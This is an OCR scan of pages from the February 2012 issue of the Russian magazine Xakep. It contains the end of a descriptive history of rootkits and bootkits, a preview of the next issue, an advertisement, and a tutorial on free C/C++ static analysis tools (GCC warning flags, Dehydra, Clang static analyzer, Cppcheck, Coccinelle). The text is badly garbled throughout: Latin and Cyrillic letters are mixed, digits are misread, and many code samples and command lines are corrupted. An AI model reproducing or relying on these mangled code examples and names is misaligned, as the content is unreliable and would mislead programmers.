В 2007 году продолжились исследования в области буткитов. Был создан Vbootkit, ко­торый представлял собой еще одну концепт­

реализацию загрузочного руткита . Програм­

ма позиционировалась в первую очередь как

средство для исследования безопасности

Windows Vista, которая тогда как раз вышла. Примерно в то же время был реализова~

пеtвый вредонос на ~HOBe этой технологии: Siпоwаl, или Mebroot. Многие антивирусы долгое время ничего не 'могли противопо ­

ставить этому зловреду, и он безнаказанно

БУЙlJ'вовал на,пользовательских ПК. Не один

десяток антивирусных аналитиков провел

множество бессонных ноче й за изучением

ода Mebroot, которы.Й на тот момент был на­

стоящим прорывом.

Такж~ в 2007 году был представлен кон­цепт биос-руткита IceLord, который мог ин­фицировать основу основ современного ПК .

Конечно, для успешного заражен~я требова­

ло(ь соблюдение определенных условий, но

начало было положено .

2008 RedPill, разработанная Жанной Рутков-

.. ХАКЕР 02/157/2012

ской, была вов се не идеальна . Программа

вы-звала много критики в свой адрес, и ее

разработка была прекращена. Но идеи, ле­

жавшие в основе «Красной таблетки», про­

должили свою жизнь. В 2008 группа North Security Labs сообщила о том , что среду

виртуализации BluePill можно обнаружить. Специалисты рассказали, что отследить

рут кит можно как по косвенным признакам,

например по снижению производительности

или использованию внешнего источника

времени , так и1: помощью доверенного ги­первизара , который бы запускал гипервизор

вредоноса, и уже иэ-под него анализировал

руткит-активность. Последний метод гораз­

до надежнее.

В 2010-м, после относительного затишья

на руткит-сцене, появилось еще несколько

буткитов: Alipop, Black Iпtегпеt Тгоjап и Ghost 5hadow [Mebratix.bI. Первый из них имеет ки­тайские корни, о чем свидетельствует уста­

навливаемая им AdWare на китайском языке. Mebratix впервые обнаружили специалисты компании 5уmапtес, а Black Iпtегпеt Тгоjап в то время являлся самым Р3Е:пространенным

буткитом.

В августе появился первый rootkit для 64-битных ОС Windows. Вирус, препариро­ванный аналитиками компании «Доктор

Веб», получил название ВасkDоог.тdoss.

Но, пожалуй, королем руткитов 2010 года , стал 5tuхпеt. Его популярность обусловлена

65 72 61 efТI Miss ing ореl'а 8 ,- 9 10,'

в первую очередь тем, что, согласно одной

теории, этот червь создали израильские

спецслужбы специал"Ьно для противодей­ствия ядерной программе Ирана. Вредонос

перехватывает и модифицирует информа­

ционный поток, которым обмениваются

программируемые логические контроллеры

марки 51MATIC 57 и рабочие станции 5САDА­системы 51MATIC WiпСС фирмы 5iеmепs. Руткит-функции в 5tuхпеt отошли на второй

план.

2011 Втор.ого сентября 2011-го китайская ком­

пания Qihoo 360 сообщила о новом вирусе с Вl05-руткитом Mebromi. Зло вред, нацелен­ный на китайских пользователей, не только

заражает B105, но и Nодифицирует MBR, работает как руткит в гiпgО, инфицирует РЕ­

файлы и выполняет функции трояна. Mebromi стал первым ВIОS-руткитом после концепта

IceLord, появившегося в 2007 году.

ЗАКЛЮЧЕНИЕ Уже сейчас очевидно, что руткиты всё

глубже закапываются в железо. Современ,

ные зловреды всё чаще инфицируют MBR, модифицируют BOl5 и используют виртуа­ЛИllацию. Мне кажется, что антивирусные

компании не в состоянии эффективно бо­

роться с такими угрозами, поскольку HOl!"bIe технологии заражения пока очень слабо

изучены. Поэтому самое интересное еще

впереди ... :Х:

085

,

Page 88: Xakep 02_2012

Preview UNIXOID

• ПОБЕДЫ И ПОРАЖЕНИЯ

OPENSOURCE-2011 Если попытаться вдвухсловахописать

2011 годдля мира ореп source, то это наверное будут «взломы» и «патенты».

Так, мы трижды писали атом, как через

SQL-инъекцию был взломан mysql.com. Незабывали рассказывать, как Microsoft и Oracle затаскали крупные компании по судам за нарушения каких-то спорных

патентов . На фоне этих новостей как-то

меркнут настоящие достижения в мире от­

крытых исходников: новая 3.0 версия ядра Linux, атакже серьезные обновления в бра­узерах, Gnome и КОЕ, атакже популярных дистрибутивах. Мы решили рассказать о

наиболее важныхсобытия х идажесделать

некоторые прогнозы на будущее. Все самое

важное за год-в одном материале.

КОДИНГ

СТАТИЧЕСКИЕАНАЛИЭАТОРЫ КОДА

Автоматизируем поиск утечек памяти,

выходовзаграницумассива,использ ова­

ниянеинициализированныхпеременны х

и других ошибок.

SYN\ACK

11

086

РОЖДЕННЫЙ ПОД ЦИФРОЙ ВОСЕМЬ Название Windows 5егуег 8 является кодовым и еще не утверждено оконча­

тельно . Но попробовать новую серверную

ОС от MS мы можемуже сеЙчас.

11

HOW-TO: РЕ-ПАКЕР Все тонкости и хитрости разработки

своего собственного упаковщика испол­

няемых файлов формата РЕ. А это уже без

пяти минуткриптор!

ДОСПЕХИ ДЛЯ IT -ИНФРАСТРУКТУРЫ Что могут и чего не могу 105/1 Р5? Тест-драйв 5 наиболее популярных систем предупреждения вторжений от

известных вендорав.

UNIXOID

11 КРИПТОЛОГИЧЕСКИЙРАЙ Два десятка хардкорны х трюков по

нестандартному использованию

привычных Open55L и Ореп55Н, которые никогда не приходили тебе в голову.

FERRUM

11 Я ТВОЙ SANDY BRIDGE ТРУБА ШАТАЛ Стоит ли покупать материнскую плату

на базе нового чипсета АМО А75? Ищем

ответ на этот вопрос, тестируя 6 разных материнок.

ХАКЕР 02/157/2012

Page 89: Xakep 02_2012

MUGELLO - HYPER SILVER

VAIRANO SILVERSTONE MALLORY CARTHAGE VALENCIA

INDY 500 NARDO SEPANG ZOLDER CADWELL

ROTARY FORGED WHEELS NURBURGRING RF INTERLAGOS RF

Visit our website to view the complete line of TSW Wheels

TSW is dedicated to being the world's premium provider of staggered wheel applications and has тоге one-piece staggered wheel sizes than апу other wheel brand in the world .

МАХ BROOKLANDS SТOWE

LONDRINA JARAMA SNЕТТЕRТОN

DONINGTON WILLOW STRIP

Реклама

Page 90: Xakep 02_2012

кодинг

ОБЗОР БЕСПЛАТНЫХ ИНСТРУМЕНТОВ ДЛЯ СТАТИЧЕСКОГО АНАЛИЗА КОДА НАС/С++

оwи

Дима Осмаков Ibumshmyaklayandex.ruJ

~-список инструментов

для статического

анализа.

blI.lvl16VLIE опции GCC, связанные с предупреждениями.

bj! ly/uEU4VQ опции GCC, специфичные дnя предупреждений, выдаваемых при

проверке кода на С++. bit.lyluD9wOB -синтаксис

расширения дnя

атрибутов в GCc. bil,JylvZpq7F пnагины дnя GCc. mzl.la/DWbf4 -Dehydra. ЫЦу/llхRuQ Clang 51alic Analyzer. bit.lyl20g5fl­Cppcheck. bj tJy/l Z3wXP Coccinelle. htlp://mzl.la/IEyXCL -DXR.

в программах на С/С++ Основные вопросы, обсуждаемые в статье,

касаются хороших бесплатных инструментов

для поиска логических ошибок методами

статического анализа в коде на С!е++ и их функциональным возможностям.

При статическом анализе информация о программе извлекается

из её исходного кода. Извлечение происходит автоматически с по­

мощью специального инструмента - статического анализатора,

сама программа не запускается. Нас может интересовать самая

разная информация. Содержит ли программа логические ошибки?

Будет ли программа правильно решать поставленную перед ней

задачу для всех возможных входных данных? Удовлетворяет ли

поведение программы формальной спецификации? Помимо во­

просов, связанных с корректностью работы программы, могут воз­

никать вопросы, касающиеся непосредственно ее исходного кода.

Удовлетворяет ли код требованиям по стилю? Содержит ли код

конструкции, которые считаются небезопасными и потенциально

могут привести к ошибкам? Также к статическим анализаторам

можно отнести программы, которые визуализируют структуру кода

и помогают проводить рефакторинг.

Эта статья в основном посвящена инструментам, которые по­

могают искать логические ошибки в исходном коде, написанном

на С/С++. Таких инструментов достаточно много, позтому пришлось провести жесткий отбор. Во-первых, я сразу отбросил платные

инструменты ICovertiy, PolySpace, PVS-Studio, Microsoft \analyze flag и многие другиеl. Во-вторых, исключил устаревшие, то есть такие, для которых больше года не выпускалось обновлений .

Из оставшихся я выбрал наиболее, на мой взгляд, практичные:

GCC, Dehydra, Clang static analyzer, Cppcheck и Coccinelle.

088

GCC В качестве первого шага при выявлении логических ошибок

целесообразно провести компиляцию при максимальном уровне предупреждений . На странице http://bit.ly/16VLIE приведены опции GCC, отвечающие за них. Рассмотрим некоторые из зтих опций .

-Wall включает множество предупреждений об инструкциях, которые, скорее всего, содержат легко исправляемые ошибки.

Сюда относятся различные ошибки форматной строки I-Wfoгmatl:

~9~g ~focmat() { _.g9 LФ1~ Х ... " J, j

.... u .. liеПR'Н:Н1Л.i;,Ны!1. .лш . .!Ш1R.Q[Q .. afJ.cy",et!:r.a .......................... . prJIJ1f.(" :>9!1\IJ" ,Х);

._ ... ch<l.r . 5 [J ." ... ":>9.Q\.a::.;........ .. _ ........ . и. .. QП<l~ .Н.Q .и.сЛ()/1.Ь-'!().Вi'!ТЬ . неlS.9.НЛ.аНТНУtIJ ... Ф.9.RМ":ГНУЮ ЛRО.КУ p.cintfCs,. Х).; ........ _ ...... .

} .

Ошибки выхода за границу массива I-Waггay-bounds, работает

только вместе с -02, причем исключительно в простейших случаяхl :

.in:t. t.еst_Ьо_uпd~[ ЦI ].; .. ~.n:t; . ~a.rray_b9.!JaQsO ... { ' .. .r~turrl .. tе.st_ЬQЩlds[ ~131j

}

А также ошибки использования неинициализированной пере­

мен ной I-Wuninitializedl и многие другие. -Wextra включает дополнительный набор предупреждений .

В него входят, например, предупреждения об ошибках, возникаю­

щих при сравнении значений знаковых и беззнаковых типов и не­

явном преобразовании знакового в беззнаковый I-Wsign-compaгel:

ХАКЕР 02 / 157/ 2012

Page 91: Xakep 02_2012

int Wsign_compare() { int х = - 1; unsigned int у = 3; if (х > у)

}

return 1; / / выполнится ,па ветка

else return 8;

Многие полезные предупреждения не входят в -Wall или -Wextra, и их нужно подключать отдельно:

-Wconveгsion предупреждает о при ведении типов, при котором

значение может поменяться [например, преобразование doubIe в int или int в unsigned intl. -Wcast_qual предупреждает отаком приведении типа для указа­теля, при котором специфическая информация о типе теряется,

например:

void Wcast_qual() const char* 5 "constant string" ; « char *)s)[8 ] = 'п' ;

}

в итоге для проверки программ на С я остановился на следую­

щем наборе опций:

-02 -Wall -Wextra -Wformat=2 -Winit-self -Warray-bounds -Wdiv-by-zero -Wfioat-equal -Wundef -Wshadow -Wcast-qual -Wconversion -Wempty-body -Waggregate-return -Wunreachable-code

На странице bit .ly/uEU4VQ собраны опции, специфичные для С++. Рассмотрим несколько наиболее интересных:

-Weffc++ предупреждает о нарушении ряда рекомендаций из книг Скотта Мейерса «Effective С++» И «Моге Effective С++». Например, к ним относятся предупреждения о виртуальных

деструкторах для базовых классов [эти предупреждения можно включить отдельно, как -Wnon-viгtual-dtoгl, а также об опреде­

лении копирующего конструктора и оператора присваивания для

классов с членами-указателями .

-W-old-style-cast предупреждает о при ведении типов в стиле С [через скобкиl. В С++, какты знаешь, принято использовать dynamic_cast, static_cast, reinterpret_cast или const_cast.

в итоге для проверки программ на С++ я добавил следующие опции:

-Wctor-dtor-privacy -Weffc++ -Wold-style-cast -Woverloaded-virtual

в GCC есть расширение, которое позволяет задавать дополни­тельные атрибуты для функций, переменных и типов [bit .ly/uD9wOBI. Благодаря зтим атрибутам компилятор может зффективнее оптими­

зировать и проверять код. Рассмотрим несколько примеров.

Можно пометить функцию [а также переменную или типl атрибутом deprecated. Тогда при использовании этой функции компилятор выдаст соответствующие предупреждение . Синтаксис

имеет следующий вид:

int sqr( int х) __ attribute __ « deprecated»;

Другой полезный атрибут - nonnull . Он требует, чтобы опреде­лённые параметры функции были ненулевыми. Например, при

объявлении

extern void * ту_тетсру (void *dest, const void *src, size_t len)

__ attribute __ «nonnull ( 1, 2»);

ХАКЕР 02/157/2012

Ищем ошибки в программах на С!С++

компилятор проверит, являются ли первые два аргумента во всех

вызовах ту_тетсру ненулевыми. Следует отметить, что он выдает

предупреждение только в том случае, если параметр функции

непосредственно представляет собой NULL. Следующий код уже не вызовет нареканий [хотя хотелось быl:

int * dest = NULL; int * src = NULL; my_memcpy(dest, src, 18);

DEHYDRA Начиная с версии 4.5, GCC поддерживает API для написания плагинов, которые работают с внутренним представлением кода.

На странице bit.ly/vZpq7F приведен список существующих плагинов . Для нас наиболее интересен плагин Dehydra, предназначенный для статического анализа кода на С++. Dehydra, используемый для про верки продуктов Mozilla, по сути, предоставляет простой способ вклиниться в процесс компиляции С++ . ДЛЯ этого нужно заполнить

набор функций [хендлеровl на JavaScipt, которые будут вызываться по мере компиляции. Dehydra предоставляет три основных хендлера: • process_type(type) - вызываетсядля каждого определения типа,

в качестве пара метра type передается полная информация отипе. • process_function(decl, body) - вызывается для каждого

определения функции [decl описываеттип функции и её пара­метры, body представляет собой массив описаний инструкций, составляющихтело функцииl.

• process_decl(decl) -вызывается при определении глобальной переменной, функции или шаблона.

Рассмотрим на примерах работу с Dehydra. Допустим, мы хотим построить граф вызовов функций в нашей программе, другими

словами, хотим понять, какие функции может вызывать каждая

функция. Для этого напишем простой JS-скрипт callgraph .js:

function print_all_fcalls(varobjs) for each (let obj in varobjs) {

if (obj.isFcall)

} }

print( " " + obj.name) if (obj.assign) // right side of assign

print_all_fcalls(obj.assign) if (obj.arguments) // arguments of fcall

print_all_fcalls(obj.arguments)

function process_function(decl, body) { print(decl.name + О:") for each (let Ь in body) print_all_fcalls(b.statements)

}

После обработки очередной функции компилятор каждый раз

будет вызывать process_function, в которой мы печатаем имя функ­ции, а затем рекурсивно печатаем все вызовы других функций .

Скрипт имеет ряд недостатков [например, если какая-нибудь функ-

bumShmyak@btJmShmyak-ре : /tmp$ "сап- btJi ld make scan-boi l d: 'сtапg' executable поt fОllпd in '/us r /sharc/clang/scan-bllild/biI1'. scan-b\litd: USlПg 'clang' from path: /llsr/bln/clar1g /usr/share/clang/scan-build/ccc-analyzer -о clangtcst clangtest.c ANAlYZE: clangtest.c div Ьу lcro сlапgtсst.с:5:1З: wаГПlлg: DIVlS10n Ьу zero

inty;::S/x;

ANAlYZE: clangtest.c nutt deгcfcrcnce ANALYZE: elangtest.e maln 1 warning generated. scan·build : 1 bugs fotJnd. sean·boild: Rtlll 'scan·vie"'l /tmp/scan-bllild·2011-12·17-7' to examine btlg reports. bumshmyak@b\Jmshmyak-ре:/tmрS scan -Vlew /tmp/seal) -bui ld -2011 12 - 17 -7 Starting sеап-viбl at: http://127.0.0.1:8181

Use Ctrl-C to ехlt.

Использование scan-build и scan-view

089

Page 92: Xakep 02_2012

кодинг

~ IZ7.0.0.1:8181

tmp - scan-bulld results

User: bumshmy~umshmyak·pc

Worklng Dlredory: ,1mp

Command Llne: make

Date: Sat Оес 17 13:24:02201 1

Annotaled Source Code BugSummary

1 #lnc\ude <stdI0 . h> 8ugType Quantlty Dlsplay? 2

АВ Вugo 1 , Int d l v_ Dy_ ze ro() { 4 Int х = е :

Loglc error , Int у :: LL.!: DМsюпЬу zеro 1 Q DtvJs60n byzero

Reports • return у : , }

8ие Group 8ugТype '" FII. Lln. Path Length А.роП Вup ареп AI~ I Loglc error DlvIslon Ьу ,его clangtest.c 5 1 VlewReport

Отчет, созданный scan~build

ция вызывает другую функцию несколько раз, то будут напечатаны

все вызовыl, но для ознакомительных целей сойдет. Проверим работу скрипта на файле workandsolve.cc:

in:t. wor:k.(i,nt data)j . int solve(in:t data)j int work( i l1t data) С.

}

:i.n:t . res = solve( data) j . .rеt:Щ:[I res j

:i.nt. solve( int data) { . in:t .. re.s = work (da.ta) j . return reSj

} int . main () {

so.1 v.e ( 18)j. ret!JCn 8;

}

Запускаем Dehydra:

g++ .: fрJugiп=-/dеhуqr.а/gсс_dеhуdrа .•.. S9. ~fplugin-arg:.gcc_ \ dehydr:.a ~script=ca1.l.gr<!ph.j s workanQ.solve .. сс -о !qev[null

Получаем на вы ходе:

work(iot) : .. solve(int)

solv.e{i,nt) : work(int)

main{) : .... solve{int) work_(int)

Полное описание функций-хендлеров и их параметров, а также

примеры использования можно найти на странице проекта: mzl.la/ DWbf4.

Dehydra «из коробки » умеет достаточно мало. Она в осно вном

предназначена для написания собственных процедур проверки.

В репозитории mozilla-central (bit.ly/vJ EI1BI лежит несколько готовых скриптов, использовавшихся для проверки кода программ от Mozilla, но они не очень интересные, так как требуют дополнительной анно­

тации кода. Например, скрипт final .js проверяет, нет ли наследников у класса, помеченного пользовательским атрибутом final.

В общем , это очень интересный инструмент, но он требует до­

полнительного программирования .

090

___________ .JI s..,<h

Browse the source tree

S • • rch syntu .nd Exampl ..

slmpleslrtng S.arc:h for а word or"st 01 wonfs мpar8ted ьу spacи. Аny b8nI words (8.9._ nOI path:·) tn the _ardl are taken together. .QIIIQDlAOQIIIIb!'··8etPIClOl~

p81h:nвтe ~Lm orty ntaiLS C:aUInIng naт.1n th8 p8th. can bt p81red oМtb .XI:. sh.Ioot!eolh·Dttw9rI!:

FInd twn that btgIn WIth of matCh nмrt. c8n bt pahd wtth mtmbtr. . 8М. WOtdt .,. noc aIIOWtCI vmtn doIng typr. МarC::heI. -d8tМd:narn. F1nCI t)PttS VNd dtttYe frOm t)'Pt nameCI пет • .

dtrtYtd:I7a'М::tp 8.,. WDПI8 _. not aIIOW8d whtn dotng d8rtv8d: .. 1Rhes. ~ dtфI!d'DIIЕ"" 'Ьpptnd

caII,rs:tunclIoo Аnd callers ( •. g .. c:ontalnlng (LWН1lon8) 01 fuпc:tlon. r.a'ItA·OIAoctмIщ··CtфtChl!!ho

Flndtn8CtOtthatbeglnYotthotmatd\l18tIИt.

lllIIWlLIIlIllI

W8f1'ings:m.tg' FInd wanr.ga that CantaIn mlg. 1I m19 18 -. thtn а1 warт*'gI .. retl.Wntd. ~

DXR 18 fr .. acttwart. ~ 10 t.am hOW 10 не It up for)'cu profect.

Поисковая строка DXR

CLANG STATIC ANALYZER Clang - это компилятор C!C++/Objective-C, который являются частью проекта LLVM( lIvm.brgl. В C1an9 встроен статический анализатор, для запуска которого нужно передать утилите clang (или c1an9++1 опцию --analyze . На его сайте (bit .ly/11xRuQI опубликован список проверок, которые выполняются в ходе анализа. Проверки разделены на не­

сколько групп: саге , deadcode, osx, unix. Примерно половина прихо­дится на саге - сюда входят проверки на наличие базовых ошибок, во

многом схожие с предупреждениями в GCC: • деление на ноль;

разыменование нулевого указателя ;

использованиенеинициализированныхпеременныхвразличных

ситуациях;

проверки, специфичные для Objective-C.

Другая большая группа - osx, где собраны проверки для Мас OS х. Вообще, видно, что именно эта среда является целевой для разработ­чиков clang static analyzer. Рассмотрим работу clang analyzer на приме­ре. Пусть у нас есть код clantest .c:

jНш.1.udе sstdiQ .. h.> . ~]1"!: .div_bY_4eC9.( ). { ...... iл:t. Х = 8; .

. ;int у = 5 j Х;

.. ceturn У; } .. ~J1.t: . null_deref.erence.() {

.. ~.nt. х = . е.;

. i.nt* Р . :=. NUЦ, j ... .. Н (х . > 8 )

}

.. Р = &Х;

r eturn * р;

~n.:t . maioO { ...... ret:urn 8;

1 ....

Компилируем и одновременно проверяем код :

clang - -analyze. clangtest. с .:Q clangtest

Получаем на выходе:

c.1angtest. с.: 5.:.1.3 .. : ... warn:i:ng : D.iv.l,sion .Ьу zero .... .... ~nt у = 5 jXj .

ХАКЕР 02/157/ 201 2

Page 93: Xakep 02_2012

clangtest. С, : 1> :,10: warn~ng,:, ,Оеrеfеrеще Q:/"лull pointer., .,." return *р; ,

2 warningS"Eenerated.

Е сли заменить « х > О » на « х >= О » В функции null_dereference, то второе предупреждение, что приятно, исчезнет,

Вместе с clang поставляется удобная утилита 5can-build, ко­торая позволяет проводить статический анализ всего проекта во

время его сборки, Этой утилите нужно передать команду, кото­

рая начинает процесс сборки проекта. Она заменит все вызовы

компилятора вызовами со статическим анализатором. Утилита

не выполняет сложный анализ процесса сборки, а просто заменяет

переменные окружения СС и СХХ своим анализатором, что несколь­

ко ограничивает применение утилиты .

Для рассмотренного в качестве примера clangte5t.c можно сделать такой Makefile:

clangtest : clangtest. с

$(СС) -о clangtest c}angtest.c

Теперь можно запустить 5сап-Ьuild make. Будет создан отчет, который можно просмотреть с помощью утилиты 5сап-viеw.

На основе Clang создано ещё несколько интересных проектов, например проект DXR, который представляет собой интеллек­туальный браузер исходного кода. DXR позволяет удобно искать различные конструкции в коде . Например, с его помощью можно

найти все функции , которые вызывают заданную функцию, или все

типы , которые являются потомками заданного типа. Насколько я

понял, раньше DXR работал на основе Dehydra. Как настроить DXR для своего проекта, описано на странице mzl.la/tEyXCL.

СРРСНЕСК Cppcheck - это специалиэированная программа для поиска оши­

бок в коде на С++, Cppcheck работает с кодом как с последователь­ностью строк, особо не вдаваясь в их смысл . Сначала он всячески

упрощает код и при водит его к виду последовательности токенов,

разделенных пробелами. После этого он ищет типичные ошибки

с помощью регулярных выражений и набора эвристических пра­

вил, написанных на С++ .

Вот так выглядит простейшие правило для поиска ошибок

деления на нуль:

cppcheck - ~.rllle= "1 0"

То же самое правило на С++:

void СhеСkЩhе.r:: divistQr\By~,eroO { /1 Loop __ :t:hrougl) аН ,t.ok,eos, for (const Token *tok __ = _ tokenizer- >10,kens ();

,tokj tok ,= tOk->l)ехt() {

}

/1 ch.eck if there ,is а divi5ion I:!Y, zJ'ro if {Token: :Match(tok, "/ 0" » {

}

/ 1 report err:or , divisionByZer.o,Error(tok) j

Для Cppcheck уже написано огромное количество правил. На странице проекта перечислены типы детектируемых ошибок:

различные сценарии утечки памяти и других ресурсов;

использование устаревших функций;

неправильное использование STL и 8005t; наличие неиспользуемых или неинициализированных перемен­

ных ;

ХАКЕР 02/157/ 2012

Ищем ошибки в программах на С/С++

разыменование нулевого указателя ;

неправильноеиспользованиеклассо~

ИТ. д .

Cppcheck имеет как консольный, так и графический интер­феЙс. Пользоваться и тем и другим одинаково просто - доста­

точно указать директорию, которую нужно проверить. Разберём

при мер с утечкой памяти : пусть она выделяется в конструкторе,

но не освобождается в деструкторе.

cJiJss Newbie С риЬЦС :

Nel-ibie() { resource ne,w Jnt [ 256] j

} pcivat:e : Jл:t-* resourcej ,

}; io:t l!1a.in() {

_Newbie пооЬ j re.tu.ro 0;

}

Успешное обнаружение утечки в этой программе с помощью Cppcheck проиллюстрировано на скрине на следующем развороте , !

Страница bit,IY/56RQoH содержит внушительный список извест­ных и не очень проектов, в которых с помощью Cppcheck удалось обнаружить баги . Что интересно, в основном это баги , най;ценные

в коде на чистом С. Подавляющее большинство из них связано

с утечкой памяти или какого-либо другого ресурса .

COCC INELLE Соссiпеllе Iпроизносится как [кОксэнэл]) - это инструмент для автоматического преобразования С-кода . Преобразования опи­

сываются в виде семантического патча на языке SmPL [Sеmапtiс Patch Lапguаgеl , По сути, такой патч - это набор правил для за­мены одних конструкций языка С другими , Из начально coccinelle разрабатывался для решения следующей задачи . Представь, что

у нас есть библиотека и клиентский код, который эту библиотеку

использует, Как нужно изменить клиентский код при изменении

интерфейса библиотеки? Coccinelle позволяет записать необходи­мые изменения в виде компактного семантического патча , Потом

этот патч можно наложить на клиентский код, чтобы получить

его актуальную версию. Так как соссiпеllе «понимает» С, то этот

инструмент можно использовать для поиска определённых шабло­

нов в коде. Нас интересуют шаблоны, потенциально содержащие

ошибку. Для того чтобы понять, как искать шаблоны, рассмотрим структуру семантического патча.

Патч состоит из набора правил следующего вида:

@II1M~ параметРыl@ оБРЯВiJение ,.,eTiJl),E!.p_e,MeHHbIx @§J ОПиС,ание преобра_;!ов.а,ниЙ

Каждое правило начинается с заголовка, заключённого в два значка 0. Заголовок может быть пустым или содержать имя пра­вила и какие-либо пара метры для него [например, список других правил, от выполнения которых оно зависитl, За ним следует раздел объявления метапеременных . Каждая метапеременная

представляет собой типизированный шаблон для сопоставления

с конструкциями в С. Далее идёт основной раздел, в котором

указывается, какие конструкции нужно найти и на что их следует

заменить [можно просто искать определенные конструкции, не за­меняя их l. Рассмотрим несколько примеров.

Первый пример, касающийся так называемой проблемы «!х & у» , очень популярен в статьях и презентациях разработчиков

091

Page 94: Xakep 02_2012

кодинг

_ ореп :1 150 ~ kшаllос/таllос ~ _ isnull '" "CI ~ null_ref ... 100

" __ notnull .. '" _ unused ... 50

__ notand е _ unsigned i. о

<-q,. <'Ъ.> <~

График эволюции ошибок висходниках Linux, полученный с помощью Heгodotos

coccinelle . Предположим, у нас есть переменная flags, которая хранит набор битовых флажков. Для проверки того, все ли флажки

установлены, обычно пишут:

!(flags & UGLY_FLAG)

Часто скобки забывают ставить, в результате чего получается

следующий код:

!flags & UGLY_FLAG

При этом !flags - это либо нуль, либо единица, то есть, скорее

всего, не то, что мы хотели. Семантический патч, который исправ­

ляет такой код, выглядит следующим образом:

notand . cocc i @notand@ expression Е;

constant С; @@ - ! Е & С

+ ! (Е & С)

~

Здесь мы определяем правило, которое называется notand. Мы говорим, что у нас есть переменная Е, которая может быть сопостав­

лена произвольному выражению, и переменная С, которая может быть

сопоставлена ко нстанте. Потом идёт код, задающий само преобразо­

вание, то есть добавляющий скобки во все выражения вида «!Е & С». ДЛЯ теста используем такой код:

notand .c #define UG LY_FLAG = 8х2 ;

int main() {

}

int flags = UG LY_F LAG; if (! fl ags & UG LY_FLAG)

return 1; else

return 8;

Coccinelle также предоставляет утилиту spatch, которая при­меняет семантический патч к набору С-файлов. В случае если

правило совпадает с реальным кодом на С, spatch на выдает тради­ционный построчный diff, устанавливающий преобразование.

В нашем случае spatch нужно запускать так:

spatch - sp_file notand.cocci notand.c

На выходе получаем:

HANDL I NG: поt апd.с

diff = --- notand. c +++ /tmр/соссi-оutрut - 3829 - аfббfа-поtапd.с

@@ - 2,7 +2,7 @@ int main() {

092

int flags = UGLY_F LAG; if (Iflags & UGLY_FLAG)

+ if (!(flags & UGLY_FLAG» return 1;

else return 8;

Опция -dir утилиты spatch предназначена для рекурсивной про­верки всех С-файлов в заданной директории.

Оказывается, ошибка «Ix & у » встречается довольно часто.

На странице bit .ly/dlggI6 собраны исправления, сделанные с помощью соссiпеllе в исходных кодах Linux. Так вот, 20 из этих исправлений связаны как раз с ошибкой «!х & у»! В качестве примера приведем один из отрывков кода, где она содержится

Ibit.ly/ rVQQ9ZI:

--- a/drivers/serial/m32r_sio.c +++ b/drivers/serial/m32r_sio.c @@ -421,7 +421,7 @@ static void transmit_chars(

struct uart_sio_port *up) while (!serial_in(up, UART_LSR) & UART LSR_THRE);

+ while (!(serial_in(up, UART_LSR) & UART_LSR_THRE»; } while (--count > 8);

Ещё одна достаточно популярная ошибка в коде Linux связана с тем, что функции memset вместо размера структуры передается размер указателя на эту структуру. Патч для нахождения и исправ­ления такой ошибки выглядит следующим образом:

@@ type Т; т *х;

expression Е;

@@

memset(x, Е, sizeof(

+ * х»

Здесь мы описываем, что у нас есть указатель х на тип Т и про­

извольное выражение Е. Далее мы ищем все вызовы memset, где в качестве третьего параметра выступает размер указателя,

и добавляем " чтобы разыменовать указатель и получить размер Т. Результат применения семантического патча к коду Linux опреде­лённой версии Ibit. ly/rsLl lgl :

--- a/drivers/staging/wlan-ng/prism2fw.c +++ b/drivers/staging/wlan-ng/prism2fw.c @@ -439,7 +439,7 @@ void free_chunks( i mgchunk_t *fchunk,

unsigned int *nfchunks)

+

} *nfchunks = 8;

memset(fchunk, 8, sizeof(fchunk»; memset(fchunk, 8, sizeof(*fchunk»;

Перейдем к другим возможностям языка SmPL и напишем патч, который будет в первом приближении [очень грубомl отыскивать ошибки утечки памяти. Будем отслеживать такую

ситуацию . Пусть функция ти п а malloc выделяет память, которая сохраняется в переменноЙ-указателе. Дальше идет стандартная

проверка, что указатель не равен нулю [памя т ь успешно выде­

ленаl . Потом идет какой-нибудь хитрый код, который реализу­ет логику, не связанную с нашим указателем . Этот код может

описывать разные процедуры проверки, приводящие к выходу

ИЗ функции. Память при этом освободить забывают, в результате

ХАКЕР 02/157/2012

Page 95: Xakep 02_2012

чего получается утечка . В коде Linu x насчитывалось 13 ошибок такого типа Ibit .ly/d1ggI6). Патч, устраняющий ошибку утечки памяти :

@leak@ type Т; Т * х ;

statement; 5; idеп1;iJiег а=-» , *.".110с$» ; . @@ * х = а( ... ); if (х == NULL) 5

••• w.hen ! = х * геtчтп

в разделе описания переменны х , кроме всего прочего, задается

п е ременная а, которая успешно сопоставляетс я с любым иде н­

т иф и катором , оканчивающимся на alloc. Мы можем использовать ре гулярные выражения , чтобы конкретизировать вид конструкций ,

кот о рые мы хотим найти.

Разберё м подробнее раздел , задающий преобразования кода.

*х=а( • •• );

Раньше мы использовали «+» И « », чтобы указать, какие зле­ме нты нужно добавить или удалить. Символ «*» используется для п о ис к а. Многоточие сопоставляется произвольному коду. Если код

должен удовлетворять ряду ограничений, то следует воспользо­

ватьс я ключевым словом when:

. .. wQen ! = х .

Здесь мы говорим , что хотим любой код, в котором не содержит­

ся х ( при этом вид х определяется ранее) .

После применения патча к тестовому коду получаем следующий

diff:

diff --- leak.c +++ /1;тр! cocci.-o.utput - 11639 -4с48dS -leak. с @@ -2,12 +2,18 @@ iпtmаiл(iпt argc, char* ~ .i!rgv) { .

char* рагат; __ . раГё!11) = mаЦ,gц25i7); .... if ..(рагат == .. NULL) {

return 1;

if (argc< 2) { return 1;

} j [ ... , . . using .p<lr"m fr.e.!~(param); ... re,t.urn 8;

Минусы эдесь служат только для выделения участков кода, кото­рые нас интересовали в патче (там мы отмечали и х символом «*»).

SmPL имеет много других интересны х возможностей, напри­

мер, позволяет задавать зависимости между правилами (применяй такое-то правило, только если выполнено такое-то), обеспечивает интеграцию с Python и т. д. Более подробно о них можно узнать на официальном сайте coccinelle (bit.ly/1Z3wXP). Также на основе coccinelle создано несколько других программ.

Coccicheck содержит набор готовых правил, которые ищут сле­дующие популярные ошибки:

разыменование нулевого указателя;

сравнение указателя с нулем вместо NULL;

ХАКЕР 02/ 157/2012

Ищем ошибки в программах на С!С++

I Quick Filter '

File Severity line Summary c!assleak.cc О classleak.cc егго г 7 Метогу leak: Newbie::resource

Summaгy: метогу leak: Newble::resource Message: Memory leak: Newbie::resource

Результат работы Cppcheck

sizeof(pointer); Ix&y; .

• утечки памяти;

неиспольэуемые переменные.

Достаточно натравить coccicheck на интересующий тебя проект,

